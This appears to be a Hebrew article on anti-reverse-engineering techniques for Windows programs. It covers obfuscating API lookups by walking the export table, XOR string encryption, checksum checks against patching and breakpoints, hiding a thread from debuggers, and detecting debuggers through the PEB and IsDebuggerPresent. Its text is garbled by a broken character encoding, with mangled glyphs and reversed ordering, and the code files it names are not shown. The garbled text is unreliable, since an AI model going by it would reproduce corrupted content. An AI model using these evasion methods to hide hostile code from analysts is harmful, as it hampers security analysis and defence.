ˢ ˸ˣ˧˴˵ˮˣ˲˪ ˨˷ˬˢ˟-inline ˞˪ ˭ˢ˷ ˸ˣ˧˴˵ˮˣ˲ˢ ˟ˣ˶ ˸˞ ˫ˠ ,inline ˩ ˭ˬ˯˪ ˧˸˶˥˟ ˧˪˷ ˢˮ˩ˣ˸˟-static˟ .-

C˩ ˸ˮˬˣ˯ˬ ˸ˬ˧ˣ˯ˬ ˢ˧˴˵ˮˣ˲ ˶˷˞˩ ,-static ˣ˞) ˧˥˩ˣˮˢ ˳˟ˣ˵˪ ˸˧ˡˣ˥˧ ˢ˧˴˵ˮˣ˲ ˞˧ˢ ˶˪˧˧˲ˬˣ˵ˢ ˸ˮ˧˥˟ˬ ,

 ˞˪ ˞ˣˢ˷ ˫ˣ˵ˬˬ ˢ˪ ˞ˣ˶˵˪ ˶˷˲˞ ˧˞ˣ ˫˧˶˥˞ ˫˧˴˟˵˟ ˸ˬ˧˧˵ ˞˪ ˞˧ˢ ,˶ˬˣ˪˩ .(˸˧˥˩ˣˮˢ ˫ˣˠ˶˸ˢ ˸ˡ˧˥˧˪

.ˢ˶ˡˠˣˢ ˞˧ˢ ˣ˟˷ ˳˟ˣ˵ˢ 

:˸ˣ˟˧˯ ˧˸˷ˬ ˧˪˷ ˡˣ˵˟ ˸ˣ˧˦˦˯ ˸ˣ˧˴˵ˮˣ˲ ˧˸˶ˡˠˢ 

¶  ˧˴˟˵ ˨ˣ˸˟ ˷ˬˣˬˬ ˧˪˷ ˡˣ˵ˢˬ ˡ˟˩ˮ ˵˪˥ˣ ˶˥˞ˬ ,˪˩ ˫ˡˣ˵.h ˢ ˧˴˟˵ˣ ,(˧˦˶ˡˮ˦˯ ˞˪ ˢˤ˷)-.h  ˢ˪˞ˢ

 ˧ˮ˞ ˸ˣ˧˦˦˯ ˣ˧ˢ˧ ˞˪ ˫˷ ˸ˣ˶ˡˠˣˬ˷ ˸ˣ˧˴˵ˮˣ˲ˢˣ ˢˡ˧ˬ˟˷ ˞˧ˢ ˢ˞˴ˣ˸ˢ ,˫˧˶˥˞ ˫˧˴˟˵ ˢ˟˶ˢ˟ ˫˧˪˪˩ˮ

 ˶ˣ˴˧ ˢˤ˩ ˟˴ˬ .˫˧ˮˣ˷ ˫˧˴˟˵˟ ,˸˥˞ ˫˰˲ˬ ˶˸ˣ˧ ˸ˣ˧˴˵ˮˣ˲ ˭˸ˣ˞ ˸˞ ˶˧ˡˠ˧ ˢ˷˰ˬ˪Duplicate 

Symbols sx-Linker .˭ˮˣ˪˸˧ 

¶  ˢ˸ˣ˞ ˸˞ ˶˴ˣ˧ ˫˴˰˟ ˶˪˧˧˲ˬˣ˵ˢ ,ˡ˥˞ ˳˟ˣ˵ˬ ˶˸ˣ˧˟ ˸ˣ˪˪˩ˮ ˸ˣ˧˦˞˦˯ ˸ˣ˧˴˵ˮˣ˲ ˭˸ˣ˞ ˶˷˞˩ ,˸˧ˮ˷

 ˫˧ˬ˰˲ ˪˷ ˟˶ ˶˲˯ˬ ˢ˧˴˵ˮˣ˲- ˧˪˟ˬ ,˨˩ .˳˟ˣ˵ ˪˩˪ ˸˥˞ ˫˰˲  ˡˠˮ ˢˮˣ˩˸ ˡˣ˰ ˧˸˥ˣˣ˶ˢ ˧˸ˮˣˣ˩˸ˢ˷

Reversing˵ ˫˧˸˰˪ ˣ˞˶˧ ˢ˧˴˵ˮˣ˲ ˢ˸ˣ˞ ˢ˷˰ˬ˪ ˭ˢ˷ ˸ˣ˧˴˵ˮˣ˲ ˧˸˷ :˟ ˸ˣ˟ˣ˶-Disassembly  ˧˸˷˩

 ˸ˣˮˣ˷ ˸ˣ˧˴˵ˮˣ˲-  ˸˞ ˶˧˩ˬ ˶˟˩ ˞ˣˢ˷ ˸ˣ˪ˠ˪ ˧ˡ˩ ˵˶ ˸˲˯ˣˮ ˢ˶˧˵˥ ˶˵ˣ˥ˢˬ ˷ˣ˶ˡ˧ ˵˶ ˭˟ˣˬ˩˷ ˟˴ˬ

.ˢˤˢ ˡˣ˵ˢ 

 

 

  

]˟-IDA ˭˸˧ˮ ˸ˣ˞˶˪ ˢ˧˴˵ˮˣ˲ˢ˷ ˸˧˦˞˦˯ˢ enforce_software_breakpoints ˢ˪˲ˬ˵˸ˢ 

˰˟˶˞˩ ˸ˣ˧˴˵ˮˣ˲ ˸ˣˡ˶˲ˮ ˸ˣˢˤˣ[ 
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˪ˣ˟˶˰ ˸ˣ˞˧˶˵ API 

 ˞ˣ˶˵˪ ˸ˮˬ ˪˰ ˭˲ˣ˞˟ ˭ˢ˪ ˞ˣ˶˵˪ ˧˸˦˪˥ˢ ,˸ˣ˟˵˰ ˧ˡˬ ˶˸ˣ˧ ˶˧˞˷ˢ˪ ˧˪˟ ˵˲˯ˬ ˯ˣˡˮ˧ˣˣ˷ ˸ˣ˧˴˵ˮˣ˲˪

 ˸˶ˤ˰˟ ˶ˬˣ˪˩ ,˭ˢ˪˷ ˫˷ˢ ˧˲ ˪˰ ˧ˬ˞ˮ˧ˡGetProcAddress . 

˟ ˷ˬ˸˷ˢ˪ ˫ˣ˵ˬ˟ ˪˟˞-GetProcAddress  ˧ˮˡ˧ ˭˲ˣ˞˟ ˷ˬˬ˪ ˧˸˦˪˥ˢ (ˡˣ˵˟ ˡˣ˞ˬ ˦ˣ˪˟˸˷) ˸˧˶ˣ˵ˬˢ

˸˞ GetProcAddress  ˪˩˟ ˢ˟ ˷ˬ˸˷ˢ˪ˣ ˢˤˢ ˷ˣˬ˧ˬ˪ .˞˧ˢ˷˪˩ ˢˡˣ˷˥ ˢ˧˴˵ˮˣ˲˪ ˞ˣ˶˵˪ ˢ˴ˣ˶ ˧ˮ˞˷ ˫˰˲

 ˫˷˟ ˧˸˞˶˵get_proc_address: 

 

ˢ ˦ˬ˶ˣ˲ ˸˞ ˶˯˶˲ˬ ˢ˷˰ˬ˪ ˞ˣˢ˷ ˨˩ ˡ˟ˣ˰ ˧˪˷ ˧ˮˡ˧ˢ ˷ˣˬ˧ˬˢ ,ˢ˪˰ˬ˪˷ ˡˣ˵˟ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-PE 

ˢ ˫ˣ˥˸˪ ˰˧ˠˢ˪ ˧ˡ˩-Export Table ˢ ˪˷-Module ˢ ˨ˣ˸˟ .˷˵ˣ˟ˬˢ-Export Table  ˫˷ˢ ˸˞ ˷˲˥ˬ ˧ˮ˞

˟ ˟ˣ˸˩˷ ˧˲˩ ,ˢ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˶˧ˤ˥ˬ ˧ˮ˞ ,˸ˬ˧˧˵ ˞˧ˢ ˫˞ .˸˷˵ˣ˟ˬˢ ˢ˧˴˵ˮˣ˲ˢ ˪˷-Export Table . 

 ˣˬ˩GetProcAddress  ˫ˠ ,˯ˣˡˮ˧ˣˣ ˪˷ ˸˧˶ˣ˵ˬˢget_proc_address ˪ ˢ˧ˮ˲ˢ :˫˧˶˦ˬ˶˲ ˧ˮ˷ ˸˪˟˵ˬ ˧˪˷-

Module ˪)-DLLˣ ,ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˫˧˥˵ˣ˪ ˣˮ˥ˮ˞ ˣˮˬˬ˷ (-String  ˧˸˷ .ˢˬ˴˰ ˢ˧ˣ˴˶ˢ ˢ˧˴˵ˮˣ˲ˢ ˫˷ ˪˷

 ˢ˶ˣ˴˟ ˢ˪ ˞ˣ˶˵˪ ˭˸˧ˮ ˨˩ˣ ˢ˧ˣ˴˶ˢ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟ ˸ˣ˶˧ˤ˥ˬ ˫ˠ ˸ˣ˧˴˵ˮˣ˲ˢ

 ˧˪˴˞ ,˪˟˞ .˸˧ˬ˞ˮ˧ˡget_proc_address ˬ ˸˞˴ˣ˧ˬ ˞˪ˣ ˪˧ˠ˶ˢ ˡˣ˵ˢˬ ˵˪˥˩ ˸ˠˢˮ˸ˬ-DLL  ˭˩˪ˣ ,˞ˣˢ˷˪˩

 ˸˞˧˶˵ ˭˞˩ ˷˧˷ ˨˩˪ ˟˪ ˫˧˷˪ ˶˸ˣ˧ ˢ˷˵API . 

ˬ ˢˮˣ˷˷) ˧˪˷ ˧ˮˡ˧ˢ ˷ˣˬ˧ˬ˟ ˭ˣ˶˸˧ ˡˣ˰- GetProcAddress  ˢ˶ˣ˴˟ ˶˟˰ˣˬ ˢ˧˴˵ˮˣ˲ˢ ˫˷˷ ˞ˣˢ (˸˧˶ˣ˵ˬˢ

 ˸ˮ˲˴ˣˬ-  ˪˷ ˢˬˣ˧˵ ˪˰ ˢ˪˰˧ ˶˵ˣ˥ ˫˞ ˫ˠ˷ ˨˩get_proc_address  ,(ˢ˶˵˧˷ ˥˧ˮˢ˪ ˶˧˟˯ ˡˣ˞ˬ˷ ˢˬ)

ˣ˪ˠ ˡˣ˞ˬ ˢ˶ˣ˴˟ ˞˪ ˸ˣ˥˲˪ .˶ˠ˞˟˧ˡ˟ ˭˧˰˪ ˳ˣ˲˵˧ ˞˪ ˞˶˵˧ˢ˪ ˸ˡˬˣ˰˷ ˢ˧˴˵ˮˣ˲ˢ ˫˷ ˭˧˧ˡ˰ˢ˧ . 

  

]˨ˣ˸ˬ api_obfuscation.h[ 
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ˢˬ ˢˮˣ˷ ˢ˶ˣ˴˟ ˥ˮ˰ˣ˲ˬˣ ˭˲˴ˣˬ ˢ˧ˣ˴˶ˢ ˢ˧˴˵ˮˣ˲ˢ ˫˷˷ ˭˧˧˴˪ ˫ˠ ˧˞ˡ˩-string- :˫˧ˮ˟ˣˬ ˧ˮ˷˟ ,˫˧˪˧ˠ˶ˢ ˫˧

 ˪˷ ˥ˣˮ˰˲˪ ˡˣˠ˧ˮ˟ :˞˟ˢ ˭˟ˣˬ˟ ˫ˠ ˪˟˞ ,ˢˮˣ˷ ˣˬ˴˰ ˥ˣˮ˰˲ˢ ˫˸˧˶ˣˠ˪˞˷ ˭˟ˣˬ˟ ˫ˠString-ˢ ,˫˧˪˧ˠ˶ ˫˧-

String ˞˪ˢ- :ˣ˸ˣˬ˪˷˟ ˭ˣ˶˩ˤ˟ ˶ˬ˷ˮ ˞˪ ˫˰˲ ˱˞ ˭˲˴ˣˬcompare_encrypted_string ˣ˸ ˢˣˣ˷ˬ- ˣ˸

 ˸˪ˣ˰˲ ˸ˣ˰˴ˬ˞˟XORˢ ˪˩ ˸˞ ˥ˮ˰˲˪ ˧˪˟ˬ ,-String :˸˥˞ ˸˟˟ 

 

 ˫˧˶˟ˡ ˢ˷ˣ˪˷ ˶˴ˣ˧ ˧ˮ˞ ,˸˶˸˯ˣˬ ˢ˶ˣ˴˟ ˢ˷ˡ˥ ˢ˧˴˵ˮˣ˲˪ ˞ˣ˶˵˪ ˢ˴ˣ˶ ˧ˮ˞˷ ˦˧˪˥ˬ ˧ˮ˞˷ ˫˰˲ ˪˩˟ ,˸˰˩

ˢ ˡˣ˵˟-C ˢ˶ˣ˴ˢˬ ˸˲˦ˣ˰ ˢ˧˴˵ˮˣ˲ :call_xxxxx ,typedef  ˢˬ˧˸˥ˢ ˫˰ ˢˬ˴˰ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˢˣˣˢˬ˷)

ˣ ,(ˢ˪˷-String .ˢ˪˷ ˫˷ˢ ˪˷ ˭˲˴ˣˬ  

˪ ˢ˞˧˶˵ ˱ˣ˶˧˴˟ ˡ˧ˬ˸ ˸˰˴˟˸ˬ ˸˶˸˯ˮ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ˢ-LoadLibrary ˸˧ˮˡ˧ ˢ˶ˣ˴˟ ˸˞˶˵ˮ ˞˧ˢ ˱˞˷ ,

 ˸ˣ˰˴ˬ˞˟get_proc_address: 

  

]ˢ˞˧˶˵ ˢ˶ˣ˴˟ ˸˶˸˯ˣˬ ˪-GetCurrentThread[ 
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˸ˣ˵˧ˡ˟ Checksum ˸˰˧ˮˬˣ Patching 

Checksum  ˢ˟˶ˢ˟ ˪ˣˡˠˣ ˶˥˞ ˧˪˦˧ˠ˧ˡ ˰ˡ˧ˬˬ ˶ˤˠˮ ˢ˪˷ ˨˶˰ˢ ˶˷˞ ˰ˣ˟˵ˣ ˭˦˵ ˪ˡˣˠ˟ ˰ˡ˧ˬ ˸˯˧˲ ˞˧ˢ

ˢ ˸˶ˤ˰˟˷ ˞ˣˢ ˭ˣ˧˰˶ˢ .(˰ˣ˟˵ ˥˶˩ˢ˟ ˞˪ ˣ˪˷ ˪ˡˣˠˢ ˶˷˞)-Checksum  ˰ˡ˧ˬ ˪˩ ˪˷ ˭˩ˣ˸ˢ ˸˞ ˞ˡˣˣ˪ ˭˸˧ˮ

ˢ ˫˞ :˭˧ˬ˞ ˭˲ˣ˞˟-Checksum ˢˬ ˢˮˣ˷ ˣ˪˷-Checksum .˰ˡ˧ˬ ˣ˸ˣ˞ ˞˪ ˸ˣ˞ˡˣˣ˟ ˣˢˤ ,˧˶ˣ˵ˬˢ ˰ˡ˧ˬˢ ˪˷ 

 ˸˧˴˵ˮˣ˲˷ ˶ˬˣ˪˩) ˸ˣ˧ˣ˷ˠˮ˸ˢ ˸ˣ˧ˢ˪ ˸ˣ˪ˣ˩˧˷ ˭˟ˣˬ˩Checksum  (˫˧ˮˣ˷ ˫˧˦˪˵ ˶ˣ˟˰ ˢ˞˴ˣ˸ ˢ˸ˣ˞ ˭˸˸

ˡ˥ ˢˬ˞˸ˢ ˸˞ˤˢ ˢ˶ˣ˴˟ ˶ˣ˴˧˪ ˧˶˷˲˞ ˧˸˪˟ ˸˧˦ˬ˸ˬˣ ˶˥˞ˬ- ˢ˟˧˯ˢ ˣˤ .˧˶˷˲˞ ˦˪˵ ˪˩˪ ˸˧˩˶˰ ˡ˥

 ˸˧˴˵ˮˣ˲˷Checksum ˵˪ ˧ˣ˩˧˯ˢ ˫˞ ˢ˟ˣ˦ ˸˟˷˥ˮ .ˡˣ˞ˬ ˨ˣˬˮ ˞ˣˢ ˸ˣ˧ˣ˷ˠˮ˸ˢ ˢ˟ ˪˟ 

) ˢ˧˲˶ˠˣ˦˲˧˶˵˟ ˟˥˶ˮ ˷ˣˬ˧˷ ˪˰˟ ˞ˣˢ ˢˤˢ ˭ˣ˶˵˰ˢa5рΣ {I!мΧ ˸ˣ˧˴˵ˮˣ˲ ˪˟˞ (Hash  ˸ˣ˧˲˶ˠˣ˦˲˧˶˵

ˢ ˧ˬ˸˧˶ˣˠ˪˞ˬ ˡ˥˞ ˸˞ ˧˸˶˴˧ ˭˩˪ .˧˪˷ ˢˮ˩ˣ˸ˢ ˪˧˟˷˟ ˨˧˶˴ ˧˸˧˧ˢ˷ ˢˬˬ ˸ˣ˩˟ˣ˯ˬ ˶˸ˣ˧ ˢ˟˶ˢ ˭ˢ-

Checksum .˫˧˶˟˧˞ ˪˷ ˢˬ˧˩˯ :˶ˣ˴˧˪ ˶˷˲˞˷ ˫˧˦ˣ˷˲ ˧˩ˢ 

˷ˢ ˸ˣˮ˷˪ˣ ˢ˴˧˶ ˭ˬˤ˟ ˡˣ˵ˢ ˫˰ "˵˥˷˪" ˫˧˶˵ˣ˥ˬ ˰ˣˮˬ˪ ˸ˣ˯ˮ˪ ˸ˮˬ ˪˰ ˧˪˷ ˢˮ˩ˣ˸˟ ˢˤˢ ˭ˣ˧˰˶˟ ˧˸˷ˬ˸

") ˣ˸ˣ˞"Patching ˪˷ ˭˩ˣ˸ˢ ˫ˣ˩˯ ˸˞ ˟˷˥ˬ ˦ˣ˷˲ ˧ˮ˞ ,ˢ˪ˣ˰ ˧˪˷ ˸˧ˮ˩˸ˢ˷˩˷ ˨˩ ˸ˣˡ˟ˣ˰ ˸ˣ˵˧ˡ˟ˢ .(

ˢ ˪˰ ˸ˣˮ˧ˬ˞ ˸˵˧ˡ˟ ˰˴˟ˬ ˧ˮ˞ ,˭˩ˬ ˶˥˞˪ .˭ˣ˶˩ˤ˟ ˸˶ˬ˷ˮ ˸˪˟˵˸ˬ˷ ˢ˞˴ˣ˸ˢˣ ˡˣ˵˟ ˫˧ˣ˯ˬ ˵˪˥ ˢˮ˩ˣ˸

ˢ ˨ˣ˸˟ ˸˧˲ˣ˯ˮ˧˞ ˢ˞˪ˣ˪˟ ˧˪˷-Thread  ˸˪˧˥˸ ˤ˞ˬ ˢˮ˸˷ˢ ˞˪ ˧˪˷ ˡˣ˵ˢ˷ ˞ˡˣˣˬ ˧ˮ˞ ˫˴˰˟ ˨˩ .˶˸˯ˮˢ

.˸˧ˮ˩˸ˢ 

-sChecksum  ˣ˟ ˪˸˷ˣ˧ ˫˞ ˫ˠ ˢˮ˸˷˧ ˡˣ˵ ˪˷Software Breakpoint  ˧ˮ˞˷ ˨˩ ,(˫ˡˣ˵ˬ ˧˸˶˟˯ˢ˷ ˧˲˩)

.˨˶ˡˢ ˪˰ ˣˤˢ ˢˮˣ˩˸ˢ ˸˞ ˫ˠ ˥˧ˣˣ˶ˬ ˢ˷˰ˬ˪ 

ˬ ˪˧˥˸ˬ ˵˶ˣ˯ ˧ˮ˞ ˣ˸ˣ˞˷ ˵˪˥ˢˣˬ˩) ˸ˣˬ˧ˣ˯ˬ ˸ˣ˧˴˵ˮˣ˲ ˪˷ ˸˟ˣ˸˩ˢ junk_func_1 ˪˩ˢ ˨˯˟ ˪˪ˣ˩ˣ (

:˫˧˦˧˧˟ ˣ˪˧˵ ˶˲˯ˬ 

 

]˨ˣ˸ˬ checksum_verification.h :ˢˮ˸˷ˬˢ ˧˪˟ˣ˪ˠˢ checksum ˡ˧ˬ˸ ˪˧˩ˬ ˸˞ s-Checksum ˟˷ˣ˥˷ ˪˰ ˧ˡ˧ calculate_inital_checksum 

˸˪˧˥˸˟ ˸˧ˮ˩˸ˢ[ 

ˢ ˧˩˶˰˟ ˢˬ˞˸ˢ ˧˞ ˢ˪ˠ˸ˬˣ ˢˡ˧ˬ˟-Checksum ˧ˮ˞ ,.˸˧ˬ˴˰ ˢˡˬ˷ˢ ˰˴˟ˬ 
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˸ˮ˲˴ˢ String-˫˧ 

 ˰ˣ˴˧˟ ˪˰ ˯˯˟˸ˬ˷ ˡˣ˞ˬ ˦ˣ˷˲ ˫˸˧˶ˣˠ˪˞˟ ˷ˬ˸˷ˢ˪ ˧˸˦˪˥ˢ ˸ˣˤˣ˶˥ˬ ˥ˮ˰˲˪ˣ ˭˧˲˴ˢ˪ ˧ˡ˩XOR  ˧˶˞ˮ˧˟

" :˧˸˶˥˟˷ ˰ˣ˟˵ ˥˸˲ˬ˟ ˣ˸ ˪˩ ˫˰ ˸ˮ˲˴ˣˬˢ ˸ˤˣ˶˥ˬ˟ ˣ˸ ˪˩˪%f ˡˣ˰ ˧˸˲˯ˣˢ ˸˞ˤˢ ˢ˦ˣ˷˲ˢ ˢˮ˲˴ˢ˪ ."

) ˯˵ˡˮ˧˞˟ ˫˧˧ˣ˪˸˷ ˫˧˟ˣ˷˧˥ ˦˰ˬi˪ ˧ˡ˩ ˵˶ ,˧˥˩ˣˮˢ ( ˢ˶ˣ˷ˢ) ˨˟ˣ˯ˬ ˶˸ˣ˧ ˢ˲˧˦ ˡˣ˰ ˢˤ ˸˞ ˸ˣ˷˰

:(˸ˮˬˣ˯ˬ ˢ˟ˣ˷˥ˢ 

 

]˨ˣ˸ˬ string_encryption.h )˸˧˧˴˵ˮˣ˲ decode_string([ 

 ˞˵ˣˣˡ ˢ˧ˢ˧ ˥˸˲ˬˢ˷ ˧˸˶˥˟˷ ˭˟ˣˬ˩"%f" .˫˧˶˵ˣ˥ ˪˟˪˟˪ ˪˞˧˴ˮ˦ˣ˲ ˢˤ˪ ˷˧˷ ˪˪ˠ˟ ˵˶ 

 ˢ˶ˣ˴˟˟ ˷ˬ˸˷ˢ˪ ˢ˴ˣ˶ ˧ˮ˞˷ ˫˰˲ ˪˩˟ ,˸˞ˤˢ-string  ˫˸˧˶ˣˠ˪˞ ˣ˸ˣ˞ ˸˶ˤ˰˟ ˣ˸ˣ˞ ˭˧˲˴ˬ ˧ˮ˞ ,˷ˡ˥

ˣ ˶˥˞ˬ) ˥ˣˮ˰˲˪ ˷ˬ˷ˬ˷-XOR ˣˡ ˢ˪ˣ˰˲ ˞˧ˢ- ˧˪˟ˣ˪ˠ ˢˮ˸˷ˬ˩ ˢ˞˴ˣ˸ˢ ˸˞ ˶ˬˣ˷ ,(ˢˤˢ ˭˟ˣˬ˟ ˸ˣ˧ˮˣˣ˧˩

 ˶˴ˣ˧ˣ ,˰ˣ˟˵#define  :ˢ˥ˣˮˣ ˢ˲ˣ˵˷ ˢ˶ˣ˴˟ ˢˮ˩ˣ˸˟ ˫ˣ˵ˬ ˪˩˟ ˣ˟ ˷ˬ˸˷ˢ˪ ˧˪ ˶˷˲˞˧˷ 

ˢ ˸˶ˣ˷˟ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-#define ˟ ˷ˬ˸˷ˬ ˧ˮ˞˷˩ ,ˢ˪˰ˬ˪˷-String  ˷ˬ˸˷ˬ ˫ˠ ˧ˮ˞ ˭˲˴ˣˬ

 ˢ˧˴˵ˮˣ˲˟ASCIIToWideString  ˨ˣ˸ˬClass  ˧˪˷ ˶ˤ˰ˢUtility ˢ˶˧ˬˬ ˣˤ ˢ˧˴˵ˮˣ˲ .string  ˪˷ ˪˧ˠ˶C++ ˪-

wstring˪ ˶ˬˣ˪˩ ,-Wide String ˸˞ ˢ˷ˣ˰ ˧ˮ˞˷ ˢ˟˧˯ˢ .ˡ˥˞ ˫ˣ˵ˬ˟ ˫˧˸˧˧˟ ˧ˮ˷ ˯˲ˣ˸ ˣ˸ ˪˩ ˣ˟˷  ˞˧ˢ ˢˤ
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˪˷ ˡˣ˵˟ ˸ˣˬˣ˵ˬ ˢ˟˶ˢ˟˷ˢ ˸ˣ˞˯˶ˠ˟ ˷ˬ˸˷ˢ˪ ˧˸˦˪˥ˢ ˧-Unicode  ˸ˣ˟˧˧˥˷) ˯ˣˡˮ˧ˣˣ ˸ˣ˧˴˵ˮˣ˲ ˟ˣ˶ ˪˷

 ˪˟˵˪Wide Strings .(˫˧˶˦ˬ˶˲˩ 

-sThread ˶˸˯ˮˢ 

 ,ˢ˪˥˸ˢ˟ ˧˸˟˸˩˷ ˧˲˩˪ ˯˥˧˧˪ ˸ˣ˶˷˲˞ˢ ˸˞ ˢ˰˧˴ˬ ˯ˣˡˮ˧ˣˣ ˸˩˶˰ˬ-Thread  ˷ˬˬ˷ ˢˮˣ˩˸ ˫˧ˣ˯ˬ

 ˸ˣ˰˴ˬ˞˟) ˶ˠ˞˟˧ˡˢˬ ˣ˸ˣ˞ ˢ˞˧˟˥ˬNtSetInformationThread ˶ˣ˴˧˪ ˧˸˦˪˥ˢ ˧˪˷ ˸˧ˮ˩˸˟ .(Thread 

˷ ˢ˧˧˪˰ˢ ˸˪˧˥˸˟ ˪˥˸ˣ˞ˬ˷ ˢˤ˩  .˸˧˲ˣ˯ˮ˧˞ ˢ˞˪ˣ˪˟ ,˰ˣ˟˵ ˭˲ˣ˞˟ ˰˵˶˟ ˳˶ˣ ˸˧ˮ˩˸ˢ ˪ 

ˢ ˢ˧˴˶˦˧˞ ˪˩˟-Thread  ˸ˣ˰˴ˬ˞˟ ˶ˠ˞˟˧ˡ ˪˷ ˢ˷ˡ˥ ˸ˣ˞˴ˬ˧ˢ ˵ˡˣ˟ :˸ˣ˧˶˵˧˰ ˸ˣ˪ˣ˰˲ ˧˸˷ ˰˴˟ˬ ˢˤˢ

NtQueryInformationProcessˢ ˪˷ ˸ˣˮˣ˩ˮˢ ˸˞ ˞ˡˣˣˬˣ ,-Checksum . ˸˞ ˫˷ˣ˶ ˞ˣˢ ˫˰˲ ˪˩˟ ,˱˯ˣˮ˟

 ˫˷˟ ˧ˡˣ˰˧˧ ˢˮ˸˷ˬ ˨ˣ˸˪ ˧˥˩ˣˮˢ ˭ˬˤˢhidden_thread_timing ˶˧ˡˠˢ˪ ˨˧˷ˬˬˣ ˩ ˣˬ˴˰ ˸˞- Hidden ˪˩

:˭ˬˤˢ 

 

]˨ˣ˸ˬ hidden_thread.h[ 

ˢ˷ ˭ˣˣ˧˩ˬ-Thread  ˸ˣ˪ˣ˰˲ ˢˬ˩ ˰˴˟ˬ ˧˪˷ ˶˸˯ˮˢAnti Debugging  ˧˸˧˴˶ ,˸˧˲ˣ˯ˮ˧˞ ˢ˞˪ˣ˪˟ ˸ˣ˟ˣ˷˥

 ˧˪˞˟ˣ˪ˠ ˢˮ˸˷ˬ ˧˸˶˴˧ ˨˩ ˫˷˪ .ˣˢ˷˧ˬ ˧ˡ˧ ˪˰ ˢ˟ˣ˩ ˞˪ˣ ˪˧˰˲ ˭˩˞ ˞ˣˢ˷ ˰ˠ˶ ˪˩˟ ˞ˡˣˣ˪ ˨˶ˡ ˞ˣ˴ˬ˪

ˢ ˣ˟˷ ˭ˣ˶˥˞ˢ ˭ˬˤˢ ˸˞ ˭˯˥˞ˬ ˡ˧ˬ˸˷-Thread ) ˪˧˰˲ ˢ˧ˢ ˢˤˢhidden_thread_timing ˞ˣˢ ˭ˣ˧˰˶ˢ .(

ˢ ˡˣ˰ ˪˩˷-Thread ˪˷ ˨˶˰ˢ ˭ˣ˸ˮ ˰ˠ˶ ˪˩˟ ,˪˧˰˲ ˶˸˯ˮˢ  ˭ˬˤ˪ ˟ˣ˶˵ ˡˣ˞ˬ ˸ˣ˧ˢ˪ ˟˧˧˥ ˢˤˢ ˢˮ˸˷ˬˢ

 .˧˥˩ˣˮˢ 
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 ˭ˬˤ˪ ˧˥˩ˣˮˢ ˭ˬˤˢ ˭˧˟ ˷˶˲ˢˢ ˫˞ .ˡˣ˵˟ ˫˧˶˥˞ ˸ˣˬˣ˵ˬ˟ ˵ˡ˟ˮ ˧˪˞˟ˣ˪ˠ ˢˮ˸˷ˬ ˣ˸ˣ˞ ˫˰˲ ˧ˡˬ ,˭˩˪

 ˠˣ˯ˬ ˸˧ˬ˴˰ ˢˡˬ˷ˢ ˸˰˴˟˸ˬ ,˧ˡˬ ˪ˣˡˠ ˭ˣ˶˥˞ˢ ˸ˣ˪˧˰˲ˢ4. 

 

]˨ˣ˸ˬ hidden_thread.h[ 

 

˧ˣˢ˧ˤ ˫˧˶ˠ˞˟˧ˡ 

 ˫˧˶ˠ˞˟˧ˡ ˧ˣˢ˧ˤ ,˧˸ˮ˧˥˟ˬ ˫˧˷ˣ˰ ˫˧˶˵ˣ˥ˢ ˟ˣ˶ ˢ˶˵ˬ ˪˩˟˷ ˭ˣˣ˧˩ˬ ˡˣ˞ˬ ˟ˣ˷˥ ˞˷ˣˮ ˞ˣˢ ˢ˴˧˶ ˭ˬˤ˟

 ˠˮ˧ˠ˞˟˧ˡ ˧˪˩˟ ˧˸ˣ˰ˬ˷ˬ ˷ˣˬ˧˷- .˧˪˷ ˧˦˞˦˯ˢ ˥ˣ˸˧ˮˢ ˸ˣ˵˧ˮ˩˦ ˸˲˧˵˸˟ ˫˧˶ˤˣ˰ ˡˣ˞ˬ˷  

 ˧ˣˢ˧ˤ˪ ˸ˣ˧˪˪˩ ˫˧˩˶ˡ ˧˸˷ ˧˸˷ˬ˧ˬ ˭˩˪˪ ˢ˞˧˶˵ ˸ˣ˰˴ˬ˞˟ :˧˪˷ ˢˮ˩ˣ˸˟ ˫˧˶ˠ˞˟˧ˡ-

NtQueryInformationProcess ˡˣ˵ˬ ˧˸˶˟˯ˢ˷ ˧˲˩ ˪˷ ˧ˮˡ˧ ˷ˣˬ˧ˬ ˸ˣ˰˴ˬ˞˟ˣ ,˫IsDebuggerPresent .

ˢ ˢˮ˟ˬ˪ ˨˪ˣˢ ˢ˷˰ˬ˪ ˧˪˷ ˧ˮˡ˧ˢ ˷ˣˬ˧ˬˢ-PEB  ˶ˠˣ˞ˢ ˸˶ˤ˰˟FS  ˡ˥ˣ˧ˬˢ ˶ˠ˞˟˧ˡˢ ˢˡ˷ ˸˞ ˶˧ˤ˥ˬˣ

˟ ˣˮ˧˞˶˷ ˧˲˩ ˵ˣ˧ˡ˟)-IsDebuggerPresent :(˸˧˶ˣ˵ˬˢ 

 

]˨ˣ˸ˬ debugger_detection.h[ 
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 ,˫ˡˣ˵ˬ ˧˸˶˩ˤˢ˷ ˧˲˩PEB )Process Environment Blockˣ (-TEB )Thread Environment Block ˧ˮ˟ˬ ˫ˢ (

˞˪ ˫˧ˮˣ˸ˮ-ˢˣ ˧˥˩ˣˮˢ ˨˧˪ˢ˸ˢ ˪˰ ˧˷ˣˬ˧˷ ˰ˡ˧ˬ ˫˧˶ˬˣ˷ ˶˷˞ ˦˲ˣ˯ˣ˶˵˧ˬ ˪˷ ˫˧ˡ˰ˣ˸ˬ-Thread  ,˧˥˩ˣˮˢ

.ˢˬ˞˸ˢ˟ 

 ˶ˠˣ˞ˢ ˯ˣˡˮ˧ˣˣ˟ ,˶ˣˬ˞˩FS ˪ ˡ˧ˬ˸ ˯˥˧˧˸ˬ-TEB  ˢˣˣˢˬ ˢ˷˰ˬ˪ ˞ˣˢˣ ˧˥˩ˣˮˢSegment Register ˨˩)

˸ˣˡˣ˵˲ ˸ˣ˰˴ˬ˞˟ ˣ˧˪˞ ˫˧˯˥˧˧˸ˬ˷  ˣˬ˩fs:[0x00] ,˟ ,˪˟˞ .(˪˷ˬ˪-fs:[0x18]  ˫ˣ˵˧ˬ˟ ˶ˬˣ˪˩)0x18 

